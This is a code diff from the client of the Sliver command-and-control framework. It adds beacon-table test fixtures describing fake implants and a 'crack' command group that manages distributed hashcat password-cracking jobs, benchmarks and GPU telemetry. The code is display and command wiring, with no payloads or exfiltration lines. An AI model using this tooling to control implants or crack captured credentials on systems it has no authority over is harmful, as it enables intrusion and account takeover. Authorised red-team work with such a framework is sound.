t.Fatalf("compact fallback did not preserve legacy timestamp format:\n%s", rendered)
|
||||
}
|
||||
assertBeaconTableFits(t, rendered, compactWidth)
|
||||
}
|
||||
|
||||
func testWindowsBeacon() *clientpb.Beacon {
|
||||
return &clientpb.Beacon{
|
||||
ID: "0c9f6b27-1111-2222-3333-444444444444",
|
||||
Name: "winterfell-session",
|
||||
TasksCount: 3,
|
||||
TasksCountCompleted: 2,
|
||||
Transport: "mtls",
|
||||
RemoteAddress: "10.13.37.11:49760",
|
||||
Hostname: "winterfell",
|
||||
Username: `winterfell\vagrant`,
|
||||
Filename: `C:\Users\vagrant\AppData\Local\Temp\sliver-range\winterfell.exe`,
|
||||
PID: 2020,
|
||||
Integrity: "High",
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Locale: "en-US",
|
||||
LastCheckin: beaconTableTestNow.Add(-36 * time.Second).Unix(),
|
||||
NextCheckin: beaconTableTestNow.Add(24 * time.Second).Unix(),
|
||||
}
|
||||
}
|
||||
|
||||
func testLinuxBeacon() *clientpb.Beacon {
|
||||
beacon := testWindowsBeacon()
|
||||
beacon.OS = "linux"
|
||||
beacon.Hostname = "winterfell-linux"
|
||||
beacon.Username = "vagrant"
|
||||
beacon.Filename = "/opt/sliver/temporary/build/output/winterfell-agent"
|
||||
beacon.Integrity = ""
|
||||
return beacon
|
||||
}
|
||||
|
||||
func testBeaconConsole() *console.SliverClient {
|
||||
return &console.SliverClient{
|
||||
Settings: &assets.ClientSettings{TableStyle: "SliverDefault"},
|
||||
}
|
||||
}
|
||||
|
||||
func beaconCandidateWidth(t *testing.T, beacons []*clientpb.Beacon, layout targettable.Layout, hasIntegrity bool) int {
|
||||
t.Helper()
|
||||
tw := buildBeaconTable(beacons, "", nil, testBeaconConsole(), layout, hasIntegrity, beaconTableTestNow)
|
||||
return text.LongestLineLen(tw.Render())
|
||||
}
|
||||
|
||||
func renderBeaconTableAtWidth(t *testing.T, beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, width int) string {
|
||||
t.Helper()
|
||||
tw := renderBeaconsAtWidth(beacons, filter, filterRegex, testBeaconConsole(), width, beaconTableTestNow)
|
||||
return text.StripEscape(tw.Render())
|
||||
}
|
||||
|
||||
func assertBeaconTableFits(t *testing.T, rendered string, width int) {
|
||||
t.Helper()
|
||||
if got := text.LongestLineLen(rendered); got > width {
|
||||
t.Fatalf("rendered table width %d exceeds terminal width %d:\n%s", got, width, rendered)
|
||||
}
|
||||
}
|
||||
|
||||
func assertHeaderPresence(t *testing.T, rendered string, header string, want bool) {
|
||||
t.Helper()
|
||||
headerLine := strings.SplitN(rendered, "\n", 2)[0]
|
||||
if got := strings.Contains(strings.ToLower(headerLine), strings.ToLower(header)); got != want {
|
||||
t.Fatalf("header %q presence = %v, want %v; header line: %s", header, got, want, headerLine)
|
||||
}
|
||||
}
|
||||
@@ -145,8 +145,8 @@ func filterCompletionValues(values []string, prefix string) []string {
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
if before, _, ok := strings.Cut(value, "\t"); ok {
|
||||
candidate = before
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
|
||||
@@ -28,11 +28,11 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
|
||||
@@ -84,8 +84,8 @@ func filterCompletionValues(values []string, prefix string) []string {
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
if before, _, ok := strings.Cut(value, "\t"); ok {
|
||||
candidate = before
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
|
||||
@@ -2,11 +2,16 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'crack' command group for the Sliver client console. Handlers map Cobra invocations to crack workflows such as crack files.
|
||||
Implements the 'crack' command group for the Sliver client console. Handlers map Cobra invocations to crack workflows such as cached benchmark inspection, durable jobs, real-time monitoring, and crack files.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Defines the crack command hierarchy, attaching operations for stations and file management.
|
||||
- `crack-benchmarks.go` – Displays bounded cached crackstation benchmark summaries, freshness metadata, and representative or complete hash-mode rates.
|
||||
- `crack-files.go` – Manages cracking asset uploads, listings, and removals, handling streaming transfers and chunking.
|
||||
- `crack-jobs.go` – Lists durable cracking jobs and renders detailed task progress, device telemetry, and recovered credentials.
|
||||
- `crack-top.go` – Runs the full-screen Bubble Tea monitor, including responsive job/worker panes and a Huh-backed status filter.
|
||||
- `crack-top-loader.go` – Loads one lean, target-free snapshot containing every active job, bounded recent history, and connected crackstation telemetry.
|
||||
- `crack-top-telemetry.go` – Calculates weighted shard progress plus per-worker and global live hash rates without treating cached benchmarks as current throughput.
|
||||
- `crack.go` – Implements station status reporting, health checks, and list rendering for distributed cracking nodes.
|
||||
- `helpers.go` – Supplies completion helpers and byte formatting utilities for crack subcommands.
|
||||
@@ -1,6 +1,8 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -25,8 +27,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.Bind("", false, crackCmd, func(f *pflag.FlagSet) {
|
||||
bindCrackFlags(f)
|
||||
})
|
||||
flags.BindFlagCompletions(crackCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["input"] = CrackWordlistCompleter(con)
|
||||
(*comp)["rules-file"] = CrackRulesCompleter(con)
|
||||
(*comp)["markov-hcstat2"] = CrackHcstat2Completer(con)
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
Use: consts.StationsStr,
|
||||
@@ -41,6 +50,62 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
crackBenchmarksCmd := &cobra.Command{
|
||||
Use: consts.BenchmarksStr,
|
||||
Short: "Show cached crackstation benchmark results",
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BenchmarksCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackBenchmarksCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("all", "a", false, "show every cached hash mode")
|
||||
})
|
||||
crackCmd.AddCommand(crackBenchmarksCmd)
|
||||
|
||||
crackJobsCmd := &cobra.Command{
|
||||
Use: "jobs",
|
||||
Short: "List hash cracking jobs",
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackJobsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", true, crackJobsCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
crackCmd.AddCommand(crackJobsCmd)
|
||||
|
||||
crackTopCmd := &cobra.Command{
|
||||
Use: "top",
|
||||
Short: "Monitor crack jobs and crackstations in real time",
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackTopCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackTopCmd, func(f *pflag.FlagSet) {
|
||||
f.Duration("poll-interval", time.Second, "crack job and crackstation refresh interval")
|
||||
})
|
||||
crackCmd.AddCommand(crackTopCmd)
|
||||
|
||||
crackJobCmd := &cobra.Command{
|
||||
Use: "job [id]",
|
||||
Short: "Show a hash cracking job",
|
||||
Args: cobra.MaximumNArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackJobCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", true, crackJobCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("watch", "w", false, "watch until the job reaches a terminal state")
|
||||
f.Duration("poll-interval", time.Second, "job status polling interval")
|
||||
})
|
||||
carapace.Gen(crackJobCmd).PositionalCompletion(CrackJobIDCompleter(con).Usage("crack job ID (leave empty to select)"))
|
||||
registerCrackJobIDCompletion(crackJobCmd, con)
|
||||
crackCmd.AddCommand(crackJobCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
Use: consts.WordlistsStr,
|
||||
Short: "Manage wordlists",
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
type backendDeviceDetails struct {
|
||||
deviceType string
|
||||
vendor string
|
||||
vendorID int32
|
||||
version string
|
||||
runtimeVersion string
|
||||
deviceID uint32
|
||||
deviceAlias *uint32
|
||||
preferredThreadSize *uint32
|
||||
memoryUnified *bool
|
||||
localMemory string
|
||||
cacheSize string
|
||||
memoryAllocPerBlock string
|
||||
pciAddress string
|
||||
}
|
||||
|
||||
func hasReportedBackendDevice(cracker *clientpb.Crackstation) bool {
|
||||
for _, device := range cracker.CUDA {
|
||||
if device != nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, device := range cracker.HIP {
|
||||
if device != nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, device := range cracker.Metal {
|
||||
if device != nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, device := range cracker.OpenCL {
|
||||
if device != nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func appendCrackstationDetailRows(tw table.Writer, cracker *clientpb.Crackstation) {
|
||||
if cracker.HostUUID != "" {
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Host UUID"), safeCrackCell(cracker.HostUUID)})
|
||||
}
|
||||
if cracker.Version != "" {
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Crackstation Version"), safeCrackCell(cracker.Version)})
|
||||
}
|
||||
}
|
||||
|
||||
func appendCUDABackendRows(tw table.Writer, device *clientpb.CUDABackendInfo, level uint32) {
|
||||
if device == nil {
|
||||
return
|
||||
}
|
||||
appendBackendSummaryRows(tw, "CUDA Device", formatCUDADevice(device), device.MemoryFree, device.MemoryTotal, device.Clock, device.Processors)
|
||||
if level < 2 {
|
||||
return
|
||||
}
|
||||
appendBackendDeviceDetailRows(tw, backendDeviceDetails{
|
||||
deviceType: device.Type,
|
||||
vendor: device.Vendor,
|
||||
vendorID: device.VendorID,
|
||||
version: device.Version,
|
||||
runtimeVersion: device.CUDAVersion,
|
||||
deviceID: device.BackendDeviceID,
|
||||
deviceAlias: device.BackendDeviceAlias,
|
||||
preferredThreadSize: device.PreferredThreadSize,
|
||||
memoryUnified: device.MemoryUnified,
|
||||
localMemory: device.LocalMemory,
|
||||
cacheSize: device.CacheSize,
|
||||
pciAddress: device.PCIAddress,
|
||||
})
|
||||
}
|
||||
|
||||
func appendHIPBackendRows(tw table.Writer, device *clientpb.HIPBackendInfo, level uint32) {
|
||||
if device == nil {
|
||||
return
|
||||
}
|
||||
appendBackendSummaryRows(tw, "HIP Device", formatHIPDevice(device), device.MemoryFree, device.MemoryTotal, device.Clock, device.Processors)
|
||||
if level < 2 {
|
||||
return
|
||||
}
|
||||
appendBackendDeviceDetailRows(tw, backendDeviceDetails{
|
||||
deviceType: device.Type,
|
||||
vendor: device.Vendor,
|
||||
vendorID: device.VendorID,
|
||||
version: device.Version,
|
||||
runtimeVersion: device.HIPVersion,
|
||||
deviceID: device.BackendDeviceID,
|
||||
deviceAlias: device.BackendDeviceAlias,
|
||||
preferredThreadSize: device.PreferredThreadSize,
|
||||
memoryUnified: device.MemoryUnified,
|
||||
localMemory: device.LocalMemory,
|
||||
cacheSize: device.CacheSize,
|
||||
pciAddress: device.PCIAddress,
|
||||
})
|
||||
}
|
||||
|
||||
func appendMetalBackendRows(tw table.Writer, device *clientpb.MetalBackendInfo, level uint32) {
|
||||
if device == nil {
|
||||
return
|
||||
}
|
||||
appendBackendSummaryRows(tw, "Metal Device", formatMetalDevice(device), device.MemoryFree, device.MemoryTotal, device.Clock, device.Processors)
|
||||
if level < 2 {
|
||||
return
|
||||
}
|
||||
appendBackendDeviceDetailRows(tw, backendDeviceDetails{
|
||||
deviceType: device.Type,
|
||||
vendor: device.Vendor,
|
||||
vendorID: device.VendorID,
|
||||
version: device.Version,
|
||||
runtimeVersion: device.MetalVersion,
|
||||
deviceID: device.BackendDeviceID,
|
||||
deviceAlias: device.BackendDeviceAlias,
|
||||
preferredThreadSize: device.PreferredThreadSize,
|
||||
memoryUnified: device.MemoryUnified,
|
||||
localMemory: device.LocalMemory,
|
||||
cacheSize: device.CacheSize,
|
||||
memoryAllocPerBlock: device.MemoryAllocPerBlock,
|
||||
})
|
||||
appendStringBackendDetailRow(tw, "Physical Location", device.PhysicalLocation)
|
||||
appendUint32BackendDetailRow(tw, "Registry ID", device.RegistryID)
|
||||
appendStringBackendDetailRow(tw, "Max TX Rate", device.MaxTXRate)
|
||||
appendBoolBackendDetailRow(tw, "Headless", device.GPUHeadless)
|
||||
appendBoolBackendDetailRow(tw, "Low Power", device.GPULowPower)
|
||||
appendBoolBackendDetailRow(tw, "Removable", device.GPURemovable)
|
||||
}
|
||||
|
||||
func appendOpenCLBackendRows(tw table.Writer, device *clientpb.OpenCLBackendInfo, level uint32) {
|
||||
if device == nil {
|
||||
return
|
||||
}
|
||||
appendBackendSummaryRows(tw, "OpenCL Device", formatOpenCLDevice(device), device.MemoryFree, device.MemoryTotal, device.Clock, device.Processors)
|
||||
if level < 2 {
|
||||
return
|
||||
}
|
||||
appendBackendDeviceDetailRows(tw, backendDeviceDetails{
|
||||
deviceType: device.Type,
|
||||
vendor: device.Vendor,
|
||||
vendorID: device.VendorID,
|
||||
version: device.Version,
|
||||
runtimeVersion: device.OpenCLVersion,
|
||||
deviceID: device.BackendDeviceID,
|
||||
deviceAlias: device.BackendDeviceAlias,
|
||||
preferredThreadSize: device.PreferredThreadSize,
|
||||
memoryUnified: device.MemoryUnified,
|
||||
localMemory: device.LocalMemory,
|
||||
memoryAllocPerBlock: device.MemoryAllocPerBlock,
|
||||
pciAddress: device.PCIAddress,
|
||||
})
|
||||
appendStringBackendDetailRow(tw, "OpenCL Driver", device.OpenCLDriverVersion)
|
||||
if device.PlatformID != 0 || device.PlatformVendor != "" || device.PlatformName != "" || device.PlatformVersion != "" {
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Platform ID"), strconv.FormatUint(uint64(device.PlatformID), 10)})
|
||||
}
|
||||
appendStringBackendDetailRow(tw, "OpenCL Platform Vendor", device.PlatformVendor)
|
||||
appendStringBackendDetailRow(tw, "OpenCL Platform", device.PlatformName)
|
||||
appendStringBackendDetailRow(tw, "OpenCL Platform Version", device.PlatformVersion)
|
||||
}
|
||||
|
||||
func appendBackendSummaryRows(tw table.Writer, label, name, memoryFree, memoryTotal string, clock, processors int32) {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render(label), console.StyleBoldGreen.Render(safeCrackCell(name))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", valueOrDash(memoryFree), valueOrDash(memoryTotal))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), strconv.FormatInt(int64(clock), 10)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), strconv.FormatInt(int64(processors), 10)})
|
||||
}
|
||||
|
||||
func appendBackendDeviceDetailRows(tw table.Writer, details backendDeviceDetails) {
|
||||
appendStringBackendDetailRow(tw, "Device Type", details.deviceType)
|
||||
appendStringBackendDetailRow(tw, "Vendor", details.vendor)
|
||||
if details.vendorID != 0 {
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Vendor ID"), strconv.FormatInt(int64(details.vendorID), 10)})
|
||||
}
|
||||
if details.version != "" && details.version != details.runtimeVersion {
|
||||
appendStringBackendDetailRow(tw, "Device Version", details.version)
|
||||
}
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Backend Device ID"), strconv.FormatUint(uint64(details.deviceID), 10)})
|
||||
appendUint32BackendDetailRow(tw, "Backend Device Alias", details.deviceAlias)
|
||||
appendUint32BackendDetailRow(tw, "Preferred Thread Size", details.preferredThreadSize)
|
||||
appendBoolBackendDetailRow(tw, "Unified Memory", details.memoryUnified)
|
||||
appendStringBackendDetailRow(tw, "Local Memory", details.localMemory)
|
||||
appendStringBackendDetailRow(tw, "Cache Size", details.cacheSize)
|
||||
appendStringBackendDetailRow(tw, "Memory Allocation per Block", details.memoryAllocPerBlock)
|
||||
appendStringBackendDetailRow(tw, "PCI Address", details.pciAddress)
|
||||
}
|
||||
|
||||
func appendStringBackendDetailRow(tw table.Writer, label, value string) {
|
||||
if value == "" {
|
||||
return
|
||||
}
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render(label), safeCrackCell(value)})
|
||||
}
|
||||
|
||||
func appendUint32BackendDetailRow(tw table.Writer, label string, value *uint32) {
|
||||
if value == nil {
|
||||
return
|
||||
}
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render(label), strconv.FormatUint(uint64(*value), 10)})
|
||||
}
|
||||
|
||||
func appendBoolBackendDetailRow(tw table.Writer, label string, value *bool) {
|
||||
if value == nil {
|
||||
return
|
||||
}
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render(label), strconv.FormatBool(*value)})
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var representativeCrackBenchmarkModes = map[int32]struct{}{
|
||||
0: {}, // MD5
|
||||
100: {}, // SHA1
|
||||
1000: {}, // NTLM
|
||||
1400: {}, // SHA2-256
|
||||
3200: {}, // bcrypt
|
||||
22000: {}, // WPA-PBKDF2
|
||||
}
|
||||
|
||||
const (
|
||||
crackBenchmarkOutputWidth = 80
|
||||
crackBenchmarkHashTypeWidth = 48
|
||||
crackBenchmarkMetadataValueWidth = 48
|
||||
)
|
||||
|
||||
// BenchmarksCmd displays benchmark results persisted by the server.
|
||||
func BenchmarksCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) {
|
||||
ctx, cancel := crackCommandContext(cmd.Context(), cmd)
|
||||
defer cancel()
|
||||
|
||||
response, err := con.Rpc.CrackstationBenchmarks(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showAll, _ := cmd.Flags().GetBool("all")
|
||||
benchmarks := response.GetSnapshots()
|
||||
rendered := renderCrackBenchmarks(benchmarks, settings.GetTableStyle(con), showAll)
|
||||
if rendered == "" {
|
||||
con.PrintInfof("No cached crackstation benchmarks\n")
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", rendered)
|
||||
}
|
||||
|
||||
func renderCrackBenchmarks(benchmarks []*clientpb.CrackBenchmarkSnapshot, style table.Style, showAll bool) string {
|
||||
ordered := make([]*clientpb.CrackBenchmarkSnapshot, 0, len(benchmarks))
|
||||
for _, benchmark := range benchmarks {
|
||||
if benchmark != nil {
|
||||
ordered = append(ordered, benchmark)
|
||||
}
|
||||
}
|
||||
if len(ordered) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
sort.SliceStable(ordered, func(i, j int) bool {
|
||||
leftName := safeCrackCell(ordered[i].GetName())
|
||||
rightName := safeCrackCell(ordered[j].GetName())
|
||||
if leftName == rightName {
|
||||
return safeCrackCell(ordered[i].GetHostUUID()) < safeCrackCell(ordered[j].GetHostUUID())
|
||||
}
|
||||
return leftName < rightName
|
||||
})
|
||||
|
||||
sections := make([]string, 0, len(ordered)*2+1)
|
||||
for index, benchmark := range ordered {
|
||||
identity := cachedBenchmarkIdentity(benchmark)
|
||||
title := renderCachedBenchmarkTitle(index, identity)
|
||||
metadata := table.NewWriter()
|
||||
metadata.SetStyle(boundedCrackBenchmarkStyle(style))
|
||||
metadata.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 2, WidthMax: crackBenchmarkMetadataValueWidth},
|
||||
})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Name"), valueOrDash(benchmark.GetName())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Host UUID"), console.StyleBoldPrimary.Render(valueOrDash(benchmark.GetHostUUID()))})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Operator"), valueOrDash(benchmark.GetOperatorName())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Connection"), renderCachedBenchmarkConnection(benchmark.GetOnline())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Cache"), renderCachedBenchmarkFreshness(benchmark.GetFresh())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Current Hashcat Version"), valueOrDash(benchmark.GetCurrentHashcatVersion())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Benchmark Hashcat Version"), valueOrDash(benchmark.GetBenchmarkHashcatVersion())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Benchmark Schema"), strconv.FormatUint(uint64(benchmark.GetBenchmarkSchemaVersion()), 10)})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Benchmarked At"), formatCachedBenchmarkTime(benchmark.GetBenchmarkedAt())})
|
||||
metadata.AppendRow(table.Row{console.StyleBold.Render("Cached Modes"), strconv.Itoa(len(benchmark.GetBenchmarks()))})
|
||||
sections = append(sections, title+"\n"+metadata.Render())
|
||||
|
||||
rates := table.NewWriter()
|
||||
rates.SetStyle(boundedCrackBenchmarkStyle(style))
|
||||
rates.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Name: "Hash Type", WidthMax: crackBenchmarkHashTypeWidth},
|
||||
})
|
||||
if showAll {
|
||||
rates.SetTitle(console.StyleBold.Render("All Cached Rates"))
|
||||
} else {
|
||||
rates.SetTitle(console.StyleBold.Render("Representative Rates"))
|
||||
}
|
||||
rates.AppendHeader(table.Row{"Mode", "Hash Type", "Rate"})
|
||||
modes := cachedBenchmarkModes(benchmark.GetBenchmarks(), showAll)
|
||||
if len(modes) == 0 {
|
||||
rates.AppendRow(table.Row{"-", "No benchmark rates cached", "-"})
|
||||
} else {
|
||||
for _, mode := range modes {
|
||||
rates.AppendRow(table.Row{
|
||||
strconv.FormatInt(int64(mode), 10),
|
||||
crackBenchmarkModeName(mode),
|
||||
humanizeHashRate(benchmark.GetBenchmarks()[mode]),
|
||||
})
|
||||
}
|
||||
}
|
||||
sections = append(sections, rates.Render())
|
||||
}
|
||||
if !showAll {
|
||||
sections = append(sections, console.StyleGray.Render("Showing representative rates; use --all for every cached mode."))
|
||||
}
|
||||
return strings.Join(sections, "\n\n")
|
||||
}
|
||||
|
||||
func boundedCrackBenchmarkStyle(style table.Style) table.Style {
|
||||
style.Size.WidthMax = crackBenchmarkOutputWidth
|
||||
return style
|
||||
}
|
||||
|
||||
func renderCachedBenchmarkTitle(index int, identity string) string {
|
||||
prefix := fmt.Sprintf(">>> Cached Crackstation %02d - ", index+1)
|
||||
maximumIdentityWidth := crackBenchmarkOutputWidth - ansi.StringWidth(prefix)
|
||||
if maximumIdentityWidth < 1 {
|
||||
return console.StyleBoldPrimary.Render(ansi.Truncate(prefix, crackBenchmarkOutputWidth, "…"))
|
||||
}
|
||||
identity = ansi.Truncate(identity, maximumIdentityWidth, "…")
|
||||
return console.StyleBoldPrimary.Render(prefix + identity)
|
||||
}
|
||||
|
||||
func cachedBenchmarkIdentity(benchmark *clientpb.CrackBenchmarkSnapshot) string {
|
||||
if benchmark == nil {
|
||||
return "Unknown crackstation"
|
||||
}
|
||||
if name := safeCrackCell(benchmark.GetName()); name != "" {
|
||||
return name
|
||||
}
|
||||
if hostUUID := safeCrackCell(benchmark.GetHostUUID()); hostUUID != "" {
|
||||
return hostUUID
|
||||
}
|
||||
return "Unknown crackstation"
|
||||
}
|
||||
|
||||
func renderCachedBenchmarkConnection(online bool) string {
|
||||
if online {
|
||||
return console.StyleBoldSuccess.Render("Online")
|
||||
}
|
||||
return console.StyleBoldGray.Render("Offline")
|
||||
}
|
||||
|
||||
func renderCachedBenchmarkFreshness(fresh bool) string {
|
||||
if fresh {
|
||||
return console.StyleBoldSuccess.Render("Fresh")
|
||||
}
|
||||
return console.StyleBoldWarning.Render("Stale")
|
||||
}
|
||||
|
||||
func formatCachedBenchmarkTime(unix int64) string {
|
||||
if unix == 0 {
|
||||
return "-"
|
||||
}
|
||||
return time.Unix(unix, 0).UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
func cachedBenchmarkModes(benchmarks map[int32]uint64, showAll bool) []int32 {
|
||||
modes := make([]int32, 0, len(benchmarks))
|
||||
for mode := range benchmarks {
|
||||
if showAll {
|
||||
modes = append(modes, mode)
|
||||
continue
|
||||
}
|
||||
if _, representative := representativeCrackBenchmarkModes[mode]; representative {
|
||||
modes = append(modes, mode)
|
||||
}
|
||||
}
|
||||
sort.Slice(modes, func(i, j int) bool { return modes[i] < modes[j] })
|
||||
if showAll || len(modes) != 0 {
|
||||
return modes
|
||||
}
|
||||
|
||||
for mode := range benchmarks {
|
||||
modes = append(modes, mode)
|
||||
}
|
||||
sort.Slice(modes, func(i, j int) bool { return modes[i] < modes[j] })
|
||||
if len(modes) > 6 {
|
||||
modes = modes[:6]
|
||||
}
|
||||
return modes
|
||||
}
|
||||
|
||||
func crackBenchmarkModeName(mode int32) string {
|
||||
if name, ok := hashcatHashTypeName(mode); ok {
|
||||
return name
|
||||
}
|
||||
if enumName := clientpb.HashType(mode).String(); enumName != strconv.FormatInt(int64(mode), 10) {
|
||||
return enumName
|
||||
}
|
||||
return "Unknown hash mode"
|
||||
}
|
||||
@@ -0,0 +1,376 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
func TestCrackBenchmarksCommandIsRegistered(t *testing.T) {
|
||||
root := Commands(nil)[0]
|
||||
benchmarks, _, err := root.Find([]string{"benchmarks"})
|
||||
if err != nil || benchmarks == root {
|
||||
t.Fatalf("find crack benchmarks: command=%v error=%v", benchmarks, err)
|
||||
}
|
||||
if benchmarks.Use != "benchmarks" {
|
||||
t.Fatalf("crack benchmarks use = %q, want benchmarks", benchmarks.Use)
|
||||
}
|
||||
if err := benchmarks.Args(benchmarks, nil); err != nil {
|
||||
t.Fatalf("crack benchmarks rejected no arguments: %v", err)
|
||||
}
|
||||
if err := benchmarks.Args(benchmarks, []string{"unexpected"}); err == nil {
|
||||
t.Fatal("crack benchmarks accepted a positional argument")
|
||||
}
|
||||
|
||||
allFlag := benchmarks.Flags().Lookup("all")
|
||||
if allFlag == nil {
|
||||
t.Fatal("crack benchmarks is missing --all")
|
||||
}
|
||||
if allFlag.Shorthand != "a" {
|
||||
t.Fatalf("--all shorthand = %q, want %q", allFlag.Shorthand, "a")
|
||||
}
|
||||
if benchmarks.PersistentFlags().Lookup("all") != nil || root.PersistentFlags().Lookup("all") != nil {
|
||||
t.Fatal("--all must remain local to crack benchmarks")
|
||||
}
|
||||
if benchmarks.InheritedFlags().Lookup("timeout") == nil {
|
||||
t.Fatal("crack benchmarks must inherit --timeout")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksSortsStationsAndRepresentativeModes(t *testing.T) {
|
||||
benchmarks := []*clientpb.CrackBenchmarkSnapshot{
|
||||
nil,
|
||||
{
|
||||
Name: "zeta",
|
||||
HostUUID: "host-z",
|
||||
OperatorName: "operator-z",
|
||||
CurrentHashcatVersion: "v7.1.3",
|
||||
BenchmarkHashcatVersion: "v7.1.2",
|
||||
BenchmarkSchemaVersion: 1,
|
||||
